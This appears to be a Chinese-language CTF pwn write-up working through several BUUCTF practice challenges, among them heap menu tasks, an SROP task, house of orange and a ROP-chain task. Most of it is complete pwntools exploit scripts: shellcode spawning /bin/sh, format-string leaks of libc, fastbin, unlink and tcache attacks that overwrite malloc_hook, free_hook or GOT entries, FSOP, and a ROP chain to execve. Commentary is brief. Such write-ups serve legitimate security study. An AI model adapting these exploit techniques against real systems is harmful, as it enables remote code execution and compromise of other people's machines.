from pwn import * from struct import pack context.log_level='debug' context(os = 'linux', arch = 'amd64') #p = process('./pwn') p = remote('node4.buuoj.cn', 26832) elf = ELF('./pwn') libc = ELF('buu/libc-2.23-x64.so') def debug(): gdb.attach(p) pause() shellcode = asm( ''' xor rsi,rsi mul esi push rax mov rbx,0x68732f2f6e69622f push rbx push rsp pop rdi mov al, 59 syscall ''') payload = shellcode.ljust(0x30, b'a') p.sendafter(b'who are u?\n', payload) rbp = u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00')) shellcode_addr = rbp - 0x50 p.sendlineafter(b'give me your id ~~?\n', b'0') payload = p64(shellcode_addr) payload = payload.ljust(0x38, b'\x00') + p64(elf.got['free']) p.sendlineafter(b'give me money~\n', payload) p.sendlineafter(b'your choice : ', '2') p.interactive()
还有 house of spirit 的做法
gyctf_2020_some_thing_interesting
菜单堆题
先要输入验证码
输出验证码的时候有格式化字符串漏洞
菜单如图
add 会申请两次自定义大小堆块,有四个数组存储数据,两个数组存储堆块指针,两个数组存储堆块大小。
edit
free 存在 UAF
show
保护全开,凭个人经验,应该就是先利用格式化字符串泄露基址,再利用 fast bin attack
通过调试,可以利用第十七个参数泄露 libcbase
# leak libcbase payload = b'OreOOrereOOreO%17$p' p.sendline(payload) p.sendlineafter(b'Now please tell me what you want to do :', '0') p.recvuntil(b'OreOOrereOOreO') libcbase = int(p.recv(14),16) - 240 - libc.sym['__libc_start_main'] print(' libcbase -> ', hex(libcbase))
然后就是利用 fast bin attack 修改 fd 伪造 fake chunk 修改 malloc hook
# malloc_hook -> one_gadget add(0x60, b'a', 0x60, b'b') #index1 free(1) malloc_hook = libcbase + libc.sym['__malloc_hook'] print(' malloc_hook -> ', hex(malloc_hook)) one_gadget = libcbase + 0xf1147 print(' one_gadget -> ', hex(one_gadget)) edit(1, p64(0), p64(malloc_hook - 0x23)) add(0x60, b'a', 0x60, b'a'*0x13 + p64(one_gadget))
exp
from pwn import * from struct import pack context.log_level='debug' context(os = 'linux', arch = 'amd64') #p = process('./pwn') p = remote('node4.buuoj.cn', 27363) elf = ELF('./pwn') libc = ELF('buu/libc-2.23-x64.so') #libc = ELF('/home/w1nd/Desktop/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so') def debug(): gdb.attach(p) pause() def add(size1, content1, size2, content2): p.sendlineafter(b'Now please tell me what you want to do :', '1') p.sendlineafter(b'length : ', str(size1)) p.sendafter(b' : ', content1) p.sendlineafter(b'length : ', str(size2)) p.sendafter(b' : ', content2) def edit(index, content1, content2): p.sendlineafter(b'Now please tell me what you want to do :', '2') p.sendlineafter(b'ID : ', str(index)) p.sendafter(b' : ', content1) p.sendafter(b' : ', content2) def free(index): p.sendlineafter(b'Now please tell me what you want to do :', '3') p.sendlineafter(b'ID : ', str(index)) def show(index): p.sendlineafter(b'Now please tell me what you want to do :', '4') p.sendlineafter(b'ID : ', str(index)) #gdb.attach(p, 'b *$rebase(0xDA3)') # leak libcbase payload = b'OreOOrereOOreO%17$p' p.sendline(payload) p.sendlineafter(b'Now please tell me what you want to do :', '0') p.recvuntil(b'OreOOrereOOreO') libcbase = int(p.recv(14),16) - 240 - libc.sym['__libc_start_main'] print(' libcbase -> ', hex(libcbase)) # malloc_hook -> one_gadget add(0x60, b'a', 0x60, b'b') #index1 free(1) malloc_hook = libcbase + libc.sym['__malloc_hook'] print(' malloc_hook -> ', hex(malloc_hook)) one_gadget = libcbase + 0xf1147 print(' one_gadget -> ', hex(one_gadget)) edit(1, p64(0), p64(malloc_hook - 0x23)) add(0x60, b'a', 0x60, b'a'*0x13 + p64(one_gadget)) # pwn p.sendlineafter(b'Now please tell me what you want to do :', '1') p.sendlineafter(b'length : ', '10') p.interactive() #debug()
有点坑,glibc 和 buu 提供的 libc 第一次出现了偏差,先用 glibc 在本地打通再放到远程打的
也可以用 dup 的方法
# leak libcbase payload = b'OreOOrereOOreO%17$p' p.sendline(payload) p.sendlineafter(b'Now please tell me what you want to do :', '0') p.recvuntil(b'OreOOrereOOreO') libcbase = int(p.recv(14),16) - 240 - libc.sym['__libc_start_main'] print(' libcbase -> ', hex(libcbase)) # malloc_hook -> one_gadget malloc_hook = libcbase + libc.sym['__malloc_hook'] print(' malloc_hook -> ', hex(malloc_hook)) one_gadget = libcbase + 0xf1247 print(' one_gadget -> ', hex(one_gadget)) add(0x60, b'a', 0x60, b'b') #index1 free(1) free(1) add(0x60, p64(malloc_hook - 0x23), 0x60, p64(0)) add(0x60, b'a', 0x60, b'a'*0x13 + p64(one_gadget)) # pwn p.sendlineafter(b'Now please tell me what you want to do :', '1') p.sendlineafter(b'length : ', '10') p.interactive()
qctf2018_stack2
实现了一个计数求和的功能的一个程序
其中,在修改数字的功能这里
并没有限定 v5 的大小,所以可以数组溢出写,并且存在后门函数
v13 数组距离 ret 是 0x74,偏移是 29(这里看错了,以为是一个内存单元写的)
但是吧,失败了(偏移是 0x74 也失败了),得用 gdb 调试看看
结合给 v13[0] 赋值的汇编代码看
可以发现 v13 的地址为 0xffffd068
如果继续步进,选择 5 选项退出,来到 ret 后一个指令处,这里的 eip 的指向就是 ret 的地址
可以得到偏移为 0x84
由于 v13 是 char 型
所以要一个一个字节写
from pwn import * from struct import pack context.log_level='debug' context(os = 'linux', arch = 'amd64') #p = process('./pwn') p = remote('node4.buuoj.cn', 28177) elf = ELF('./pwn') libc = ELF('buu/libc-2.23-x64.so') #libc = ELF('/home/w1nd/Desktop/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so') def debug(): gdb.attach(p) pause() backdoor = [0x9b, 0x85, 0x4, 0x8] p.sendlineafter(b'How many numbers you have:\n', '1') p.sendlineafter(b'Give me your numbers\n', '1') for i in range(4): p.sendlineafter(b'5. exit\n', '3') p.sendlineafter(b'which number to change:\n', str(0x84 + i)) p.sendlineafter(b'new number:\n', str(backdoor[i])) p.sendlineafter(b'5. exit\n', '5') p.interactive()
[BSidesCF 2019]Runit
from pwn import * from struct import pack context.log_level='debug' context(os = 'linux', arch = 'i386') #p = process('./pwn') p = remote('node4.buuoj.cn', 28802) elf = ELF('./pwn') libc = ELF('buu/libc-2.23-x64.so') #libc = ELF('/home/w1nd/Desktop/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so') def debug(): gdb.attach(p) pause() p.recv() p.sendline(asm(shellcraft.sh())) p.interactive()
hgame2018_flag_server
明显要通过溢出控制变量,这里对 length v5 是否为负数并没有检查
read_n 这里就能够无限制写了
然后把 v10 填充下就行
from pwn import * from struct import pack context.log_level='debug' context(os = 'linux', arch = 'i386') #p = process('./pwn') p = remote('node4.buuoj.cn', 29542) elf = ELF('./pwn') libc = ELF('buu/libc-2.23-x64.so') #libc = ELF('/home/w1nd/Desktop/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so') def debug(): gdb.attach(p) pause() p.sendlineafter(b'your username length: ', '-1') payload = b'a'*0x40 + b'\x01' p.sendlineafter(b'whats your username?\n', payload) p.recv() print(p.recv())
zctf_2016_note3
16 的菜单堆题
add
edit
free
其中, sub_4008DD 函数是这样的
当 a2 = 0 时,由于 i 是无符号数,可以溢出写
pie 没有开启,那么就是先泄露基址,然后修改 ptr 了
不知道为什么,失败了
ptr = 0x6020C8 add(0x10, p64(elf.got['puts'])) #index 0 add(0, b'a') #index 1 add(0x60, b'b') #index 2 add(0x60, b'c') #index 3 add(0x10, p64(elf.got['puts'])) #index 4 free(2) free(3) edit(1, p64(0)*3 + p64(0x71) + p64(0)*13 + p64(0x71) + p64(ptr - 0x1b)) add(0x60, b'a') #index 2 add(0x60, b'\x00'*0xb + p64(elf.got['free'])) #index 3 edit(0, p64(elf.sym['puts']))
弄明白了
这里的 *(a1 + i) = 0 ,相当于在输入的字符串末尾添加一个 \x00 ,如果我们写入 八个字节的话,则会影响其它数据,如果要正常写入可以只写入七个字节,反正由于小端序的原因少写的一字节为\x00 ,会由于上述原因补上
from pwn import * from struct import pack context.log_level='debug' context(os = 'linux', arch = 'i386') p = process('./pwn') #p = remote('node4.buuoj.cn', 27718) elf = ELF('./pwn') libc = ELF('buu/libc-2.23-x64.so') #libc = ELF('/home/w1nd/Desktop/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so') def debug(): gdb.attach(p) pause() def add(size, content): p.sendlineafter(b'option--->>\n', '1') p.sendlineafter(b'(less than 1024)\n', str(size)) p.sendlineafter(b'content:\n', content) def edit(index, content): p.sendlineafter(b'option--->>\n', '3') p.sendlineafter(b'the note:\n', str(index)) p.sendlineafter(b'content:\n', content) def free(index): p.sendlineafter(b'option--->>\n', '4') p.sendlineafter(b'the note:\n', str(index)) # fast bin attack ptr = 0x6020C8 add(0, b'a') #index 0 add(0x60, b'b') #index 1 add(0x60, b'c') #index 2 free(1) free(2) edit(0, p64(0)*3 + p64(0x71) + p64(0)*13 + p64(0x71) + p64(ptr - 0x1b)) add(0x60, b'a') #index 1 add(0x60, b'\x00'*0xb + p64(elf.got['free']) + p64(elf.got['atoi'])*3) #index 2 edit(0, p64(elf.sym['puts'])[:-1]) # leak libcbase free(1) atoi = u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00')) libcbase = atoi - libc.sym['atoi'] system = libcbase + libc.sym['system'] # atoi -> system edit(3, p64(system)[:-1]) # pwn p.sendlineafter(b'option--->>\n', b'/bin/sh\x00') p.interactive()
也可以用 unlink
from pwn import * from struct import pack context.log_level='debug' context(os = 'linux', arch = 'i386') #p = process('./pwn') p = remote('node4.buuoj.cn', 27718) elf = ELF('./pwn') libc = ELF('buu/libc-2.23-x64.so') #libc = ELF('/home/w1nd/Desktop/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so') def debug(): gdb.attach(p) pause() def add(size, content): p.sendlineafter(b'option--->>\n', '1') p.sendlineafter(b'(less than 1024)\n', str(size)) p.sendlineafter(b'content:\n', content) def edit(index, content): p.sendlineafter(b'option--->>\n', '3') p.sendlineafter(b'the note:\n', str(index)) p.sendlineafter(b'content:\n', content) def free(index): p.sendlineafter(b'option--->>\n', '4') p.sendlineafter(b'the note:\n', str(index)) # unlink ptr = 0x6020C8 payload = p64(0) + p64(0xa1) + p64(ptr - 0x18) + p64(ptr - 0x10) add(0x80, payload) # index 0 add(0, b'a') # index 1 add(0x80, b'a') # index 2 payload = p64(0)*2 + p64(0xa0) + p64(0x90) edit(1, payload) free(1) free(2) # leak libcbase edit(0, p64(0)*3 + p64(elf.got['free']) + p64(elf.got['atoi']) + p64(elf.got['atoi'])) edit(0, p64(elf.plt['puts'])[:-1]) free(1) atoi = u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00')) libcbase = atoi - libc.sym['atoi'] system = libcbase + libc.sym['system'] # atoi -> system edit(2, p64(system)[:-1]) # pwn p.sendlineafter(b'option--->>\n', b'/bin/sh\x00') p.interactive()
rootersctf_2019_srop
题目说是SROP
看下指令
可以自由控制 rax,以此构造 SROP
不过得先找到 /bin/sh 的地址,这里我们可以先 SROP 个 read 来存储 /bin/sh ,再 SROP execve('/bin/sh', '0', '0')
题目说是SROP 看下指令 可以自由控制 rax,以此构造 SROP 不过得先找到 /bin/sh 的地址,这里我们可以先 SROP 个 read 来存储 /bin/sh ,再 SROP execve('/bin/sh', '0', '0') from pwn import * from struct import pack context.log_level='debug' context(os = 'linux', arch = 'amd64') #p = process('./pwn') p = remote('node4.buuoj.cn', 29757) elf = ELF('./pwn') libc = ELF('buu/libc-2.23-x64.so') #libc = ELF('/home/w1nd/Desktop/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so') def debug(): gdb.attach(p) pause() syscall = 0x401033 pop_rax = 0x401032 sigframe = SigreturnFrame() sigframe.rax = 0 sigframe.rdi = 0 sigframe.rsi = 0x402000 sigframe.rdx = 0x100 sigframe.rip = syscall sigframe.rbp = 0x402000 + 0x20 p.recv() payload = b'a'*0x88 + p64(pop_rax) + p64(0xf) + flat(sigframe) p.sendline(payload) sigframe = SigreturnFrame() sigframe.rax = 59 sigframe.rdi = 0x402000 sigframe.rsi = 0 sigframe.rdx = 0 sigframe.rip = syscall payload = b'/bin/sh\x00' + b'a'*0x20 + p64(pop_rax) + p64(0xf) + flat(sigframe) p.sendline(payload) p.interactive() 主要注意的是第一次 SROP 要设置 rbp = 0x402000 + 0x20 ,方便我们再次溢出覆盖 ret 执行第二次 SROP getshell
主要注意的是第一次 SROP 要设置 rbp = 0x402000 + 0x20 ,方便我们再次溢出覆盖 ret 执行第二次 SROP getshell
houseoforange_hitcon_2016
16 的菜单堆题
add 申请了三个堆块,0x10 ,自定义,0x8 ,0x10 的堆块存放这两个堆块的指针
show
edit 和 add 那里一样,v2 是写入的字节大小,是无符号数,应该是整数溢出漏洞
第一次见到没有 free 的,也没有序号的堆块,edit 和 show 只用最新创建的堆块。
目前已知的有整数溢出,也就是堆溢出,但是 edit 和 show 只操作最新创建的堆块。倒是可以尝试 house of force
不过也得先泄露基址,由于存在堆块申请大小的限制,所以我们不能直接申请比 top chunk 还大的堆块,因此我们先通过堆溢出修改 top chunkj 的 size (注意内存页对齐),再申请比 top chunk 还大的 堆块, 这样 top chunk 就被放入 unsorted bin 了
这里原本是 fd 的位置,但是创建堆块时必须要写,会导致泄露的数据有错误,所以我们都用 a 填充,令其泄露后面的 bk
同样,继续把 bk 填充满,就可以泄露堆块地址
# leak libcbase head_addr add(0x10, b'a', b'1') edit(-1, p64(0)*3 + p64(0x21) + p64(0)*3 + p64(0xfa1), b'1') add(0xfb0, b'a', b'1') add(0x400, b'a'*8, b'1') show() main_arena_1640 = u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00')) libcbase = main_arena_1640 - 1640 - 0x10 - libc.sym['__malloc_hook'] print(' libcbase -> ', hex(libcbase)) edit(-1, b'a'*12 + b'stop', b'1') show() p.recvuntil('stop') head_addr = u64(p.recv(6).ljust(8, b'\x00')) - 0xc0 print(' head_addr -> ', hex(head_addr))
再接下来是一个新知识点
FSOP
在libc的 _IO_list_all 中,存放有一个 _IO_FILE_plus 结构体的指针, 如下图,它指向 _IO_2_1_stderr_:
而 _IO_FILE_plus结构体详细内容如下
其中_chain指向下一个_IO_FILE_plus结构体
在malloc中,它调用malloc_printerr来打印错误,经过一系列调用,最终来到_IO_flush_all_lockp:
while (fp != NULL) { … fp = fp->_chain; ... if (((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base) #if defined _LIBC || defined _GLIBCPP_USE_WCHAR_T || (_IO_vtable_offset (fp) == 0 && fp->_mode > 0 && (fp->_wide_data->_IO_write_ptr > fp->_wide_data->_IO_write_base)) #endif ) && _IO_OVERFLOW (fp, EOF) == EOF)
如果满足以下条件:
fp->_mode > 0 _IO_vtable_offset (fp) == 0 fp->_wide_data->_IO_write_ptr > fp->_wide_data->_IO_write_base
就会调用 _IO_OVERFLOW,并把结构体当做第一个参数传入
如果我们能够把 _IO_OVERFLOW改为system,并且伪造结构体,开头为/bin/sh,就能获得shell了
————————————————
太折磨人了,真没搞懂 fsop
from pwn import * from struct import pack context.log_level='debug' context(os = 'linux', arch = 'amd64') #p = process('./pwn') p = remote('node4.buuoj.cn', 25535) elf = ELF('./pwn') libc = ELF('buu/libc-2.23-x64.so') #libc = ELF('/home/w1nd/Desktop/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so') def debug(): gdb.attach(p) pause() def add(size, content1, content2): p.sendlineafter(b'choice : ', '1') p.sendlineafter(b'name :', str(size)) p.sendafter(b'Name :', content1) p.sendafter(b'Price of Orange:', content2) p.sendlineafter(b'Color of Orange:', '1') def show(): p.sendlineafter(b'choice : ', '2') def edit(size, content1, content2): p.sendlineafter(b'choice : ', '3') p.sendlineafter(b'name :', str(size)) p.sendafter(b'Name:', content1) p.sendafter(b'Price of Orange:', content2) p.sendlineafter(b'Color of Orange:', '1') # leak libcbase head_addr add(0x10, b'a', b'1') edit(-1, p64(0)*3 + p64(0x21) + p64(0)*3 + p64(0xfa1), b'1') add(0xfb0, b'a', b'1') add(0x400, b'a'*8, b'1') show() main_arena_1640 = u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00')) libcbase = main_arena_1640 - 1640 - 0x10 - libc.sym['__malloc_hook'] print(' libcbase -> ', hex(libcbase)) edit(-1, b'a'*12 + b'stop', b'1') show() p.recvuntil('stop') heap_addr = u64(p.recv(6).ljust(8, b'\x00')) - 0xc0 print(' heap_addr -> ', hex(heap_addr)) # FSROP system = libcbase + libc.sym['system'] IO_list_all = libcbase + libc.sym['_IO_list_all'] payload = b'a' * 0x400 + p64(0) + p64(0x21) + b'a'*0x10 fake_file = b'/bin/sh\x00'+p64(0x61)#to small bin fake_file += p64(0)+p64(IO_list_all-0x10) fake_file += p64(0) + p64(1)#_IO_write_base < _IO_write_ptr fake_file = fake_file.ljust(0xc0, b'\x00') fake_file += p64(0) * 3 fake_file += p64(heap_addr + 0x5C8) #vtable ptr fake_file += p64(0) * 2 fake_file += p64(system) payload += fake_file edit(-1, payload, b'1') #debug() # pwn p.sendlineafter(b'choice : ', '1') p.interactive()
gyctf_2020_document
菜单堆题
add 创建两个固定大小的堆块,其中 v2 存放 0x80 大小堆块的指针,另有一个数组存放 0x8 大小堆块的指针
注意这里读的时候要读够足够的字节才会继续向下执行
show
edit 可以选择是否改变 sex
free 存在 UAF,并且只 free 0x80 大小的堆块
保护全开,先要泄露基址,由于存在 UAF, free 后 show 就能泄露 libcbase 了
可以看到会泄露 main_arena_88
# leak libcbase add(b'a'*8, b'W', b'a'*0x70) #index 0 add(b'a'*8, b'W', b'a'*0x70) #index 1 free(0) show(0) libcbase = u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00')) - 88 - 0x10 - libc.sym['__malloc_hook'] print(' libcbase -> ', hex(libcbase))
但是呢, edit 是往 0x80 的 堆 的 user data 后十六个字节开始写,修改不了 fd 和 bk
看了wp,接下来最牛逼的方法来了,由于我们之前最先申请的 0x8 大小的 chunk 的 user data 还指向了一个具体的地址。我们接下来继续 add 时,0x8 的 chunk 会从 free 的 0x80 大小的 chunk 切割 0x20 大小出来使用,但是 edit 只能往 0x10 大小字节后面写,所以我们 add 两次就行了,可以修改 指向 堆块 的指针为 atoi@got ,然后将 atoi@plt 修改为 system@sym ,就能 getshell 了
对哦,保护全开写不了 got 表,只能劫持 free_hook 为 one_gadget 了
exp
from pwn import * from struct import pack context.log_level='debug' context(os = 'linux', arch = 'i386') #p = process('./pwn') p = remote('node4.buuoj.cn', 27910) elf = ELF('./pwn') libc = ELF('buu/libc-2.23-x64.so') #libc = ELF('/home/w1nd/Desktop/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so') def debug(): gdb.attach(p) pause() def add(name, sex, content): p.sendlineafter(b'choice : \n', '1') p.sendafter(b'name\n', name) p.sendafter(b'sex\n', sex) p.sendafter(b'information\n', content) def show(index): p.sendlineafter(b'choice : \n', '2') p.sendlineafter(b'index : \n', str(index)) def edit(index, content): p.sendafter(b'choice : \n', '3') p.sendafter(b'index : \n', str(index)) p.sendafter(b'sex?\n', 'N') p.sendafter(b'information\n', content) def free(index): p.sendlineafter(b'choice : \n', '4') p.sendlineafter(b'index : \n', str(index)) # leak libcbase add(b'a'*8, b'W', b'a'*0x70) #index 0 add(b'a'*8, b'W', b'a'*0x70) #index 1 free(0) show(0) libcbase = u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00')) - 88 - 0x10 - libc.sym['__malloc_hook'] print(' libcbase -> ', hex(libcbase)) # dup ---- free_hook -> one_gadget free_hook = libcbase + libc.sym['__free_hook'] one_gadget = libcbase + 0x4526a add(b'b'*8, b'W', b'a'*0x70) # index 2 add(b'c'*8, b'W', b'a'*0x70) # index 3 edit(0, p64(0) + p64(0x21) + p64(free_hook - 0x10) + p64(1) + p64(0) + p64(0x51) + p64(0)*8) edit(3, p64(one_gadget) + p64(0)*13) print(hex(one_gadget)) #debug() # pwn free(1) p.interactive()
注意是 free_hook - 0x10 ,因为 edit 隔 0x10 字节写
强网杯2019 拟态 STKOF
from pwn import * from struct import pack context.log_level='debug' context(os = 'linux', arch = 'amd64') #p = process('./pwn') p = remote('node4.buuoj.cn', 26919) elf = ELF('./pwn') libc = ELF('buu/libc-2.23-x64.so') #libc = ELF('/home/w1nd/Desktop/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so') def debug(): gdb.attach(p) pause() def get_payload(): p = b'a'*0x110 p += pack('<I', 0x0806e9cb) # pop edx ; ret p += pack('<I', 0x080d9060) # @ .data p += pack('<I', 0x080a8af6) # pop eax ; ret p += b'/bin' p += pack('<I', 0x08056a85) # mov dword ptr [edx], eax ; ret p += pack('<I', 0x0806e9cb) # pop edx ; ret p += pack('<I', 0x080d9064) # @ .data + 4 p += pack('<I', 0x080a8af6) # pop eax ; ret p += b'//sh' p += pack('<I', 0x08056a85) # mov dword ptr [edx], eax ; ret p += pack('<I', 0x0806e9cb) # pop edx ; ret p += pack('<I', 0x080d9068) # @ .data + 8 p += pack('<I', 0x08056040) # xor eax, eax ; ret p += pack('<I', 0x08056a85) # mov dword ptr [edx], eax ; ret p += pack('<I', 0x080481c9) # pop ebx ; ret p += pack('<I', 0x080d9060) # @ .data p += pack('<I', 0x0806e9f2) # pop ecx ; pop ebx ; ret p += pack('<I', 0x080d9068) # @ .data + 8 p += pack('<I', 0x080d9060) # padding without overwrite ebx p += pack('<I', 0x0806e9cb) # pop edx ; ret p += pack('<I', 0x080d9068) # @ .data + 8 p += pack('<I', 0x08056040) # xor eax, eax ; ret p += pack('<I', 0x0807be5a) # inc eax ; ret p += pack('<I', 0x0807be5a) # inc eax ; ret p += pack('<I', 0x0807be5a) # inc eax ; ret p += pack('<I', 0x0807be5a) # inc eax ; ret p += pack('<I', 0x0807be5a) # inc eax ; ret p += pack('<I', 0x0807be5a) # inc eax ; ret p += pack('<I', 0x0807be5a) # inc eax ; ret p += pack('<I', 0x0807be5a) # inc eax ; ret p += pack('<I', 0x0807be5a) # inc eax ; ret p += pack('<I', 0x0807be5a) # inc eax ; ret p += pack('<I', 0x0807be5a) # inc eax ; ret p += pack('<I', 0x080495a3) # int 0x80 return p payload = get_payload() p.recv() p.send(payload) p.interactive()
拟态题,给了两个程序,直接用 32 位程序 ropchain 是能直接打通靶机的,但是打不通 64位程序
ciscn_2019_final_5
菜单堆题
add sub_400ae5 会泄露堆块的低三位地址,但是没啥用。后面再仔细看下程序流程,发现 index 并不是你申请的堆块的编号(这里后面发现错了,free 和 edit 会通过取存放堆块的指针的数组的数据 & F 来得到堆块序号,下面的 0x10 相当于占用的序号为 0 的位置,真的好巧妙,绝了),而是用来跟堆地址按位与后写入存放堆块指针的数组中,由于存在 tcache ,所以第一个申请的 0x10 大小的堆块一般是的地址后三位是 0x260 ,那么如果 index 是 0x10 ,按位与后就是 0x270 了,之后的 edit 和 free 都是按照 0x270 的地址操作,因此可以实现堆溢出
free
edit
add sub_400ae5 会泄露堆块的低三位地址,但是没啥用。后面再仔细看下程序流程,free 和 edit 会通过取存放堆块的指针的数组的数据 & F 来得到堆块序号,由于存在 tcache ,所以第一个申请的 0x10 ( 0x10 相当于占用的序号为 0 的位置) 大小的堆块一般是的地址后三位是 0x260 ,那么如果 index 是 0x10 ,按位与后就是 0x270 了,之后的 edit 和 free 都是按照 0x270 的地址操作,因此可以实现堆溢出
由于没开 PIE,通过堆溢出修改 tcache bin 中的 chunk 的 fd ,使其指向存放堆块指针的数组,修改 free@plt 为 puts@sym 泄露 libcbase,再修改 atoi@plt 为 system ,这是常规操作了
# leak libcbase add(0x10, 0x18, b'a') #index 0 add(1, 0x10, b'b') #index 1 free(1) edit(0, p64(0) + p64(0x21) + p64(0x6020e0)) add(2, 0x10, b'a') #index 2 add(3, 0x18, p64(elf.got['free']) + p64(elf.got['atoi'])) edit(8, p64(0) + p64(elf.sym['puts'])) free(8) free(8) libcbase = u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00')) - libc.sym['setvbuf'] print(' libcbase -> ', hex(libcbase))
还要一个要注意的点,第一次 free 后即 第一次 puts ,其实泄露的是 free@got -> puts@plt ,也是就从 puts@plt 前八个字节开始的数据,这个没什么用,所以我们第二次 free ,这时候的 puts 的参数是 atoi@got,这时候能够正常泄露,但是是泄露 atoi@plt 的前八个字节,从 ida 看的话,是 setvbuf@plt
之后就是修改 atoi@got -> system 了
不过这里也值得注意,由于我们之前 free 的时候顺带把存放 chunk 大小的数组也给清零了,这时候 edit 就写不进数据了,所以这里先申请一个 chunk ,再修改,就能成功 edit 了
# atoi -> system system = libcbase + libc.sym['system'] add(0, 0x10, b'a') edit(3, p64(elf.got['atoi'])) edit(8, p64(0) + p64(system))
exp
from pwn import * from struct import pack context.log_level='debug' context(os = 'linux', arch = 'amd64') p = process('./pwn') #p = remote('node4.buuoj.cn', 26919) elf = ELF('./pwn') libc = ELF('buu/libc-2.27-x64.so') #libc = ELF('/home/w1nd/Desktop/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so') def debug(): gdb.attach(p) pause() def add(index, size, content): p.sendlineafter('your choice: ', '1') p.sendlineafter(b'index: ', str(index)) p.sendlineafter(b'size: ', str(size)) p.sendafter(b'content: ', content) def free(index): p.sendlineafter('your choice: ', '2') p.sendlineafter(b'index: ', str(index)) def edit(index, content): p.sendlineafter('your choice: ', '3') p.sendlineafter(b'index: ', str(index)) p.sendafter(b'content: ', content) # leak libcbase add(0x10, 0x18, b'a') #index 0 add(1, 0x10, b'b') #index 1 free(1) edit(0, p64(0) + p64(0x21) + p64(0x6020e0)) add(2, 0x10, b'a') #index 2 add(3, 0x18, p64(elf.got['free']) + p64(elf.got['atoi'])) edit(8, p64(0) + p64(elf.sym['puts'])) free(8) free(8) libcbase = u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00')) - libc.sym['setvbuf'] print(' libcbase -> ', hex(libcbase)) # atoi -> system system = libcbase + libc.sym['system'] add(0, 0x10, b'a') edit(3, p64(elf.got['atoi'])) edit(8, p64(0) + p64(system)) # pwn p.sendlineafter('your choice: ', '/bin/sh\x00') p.interactive()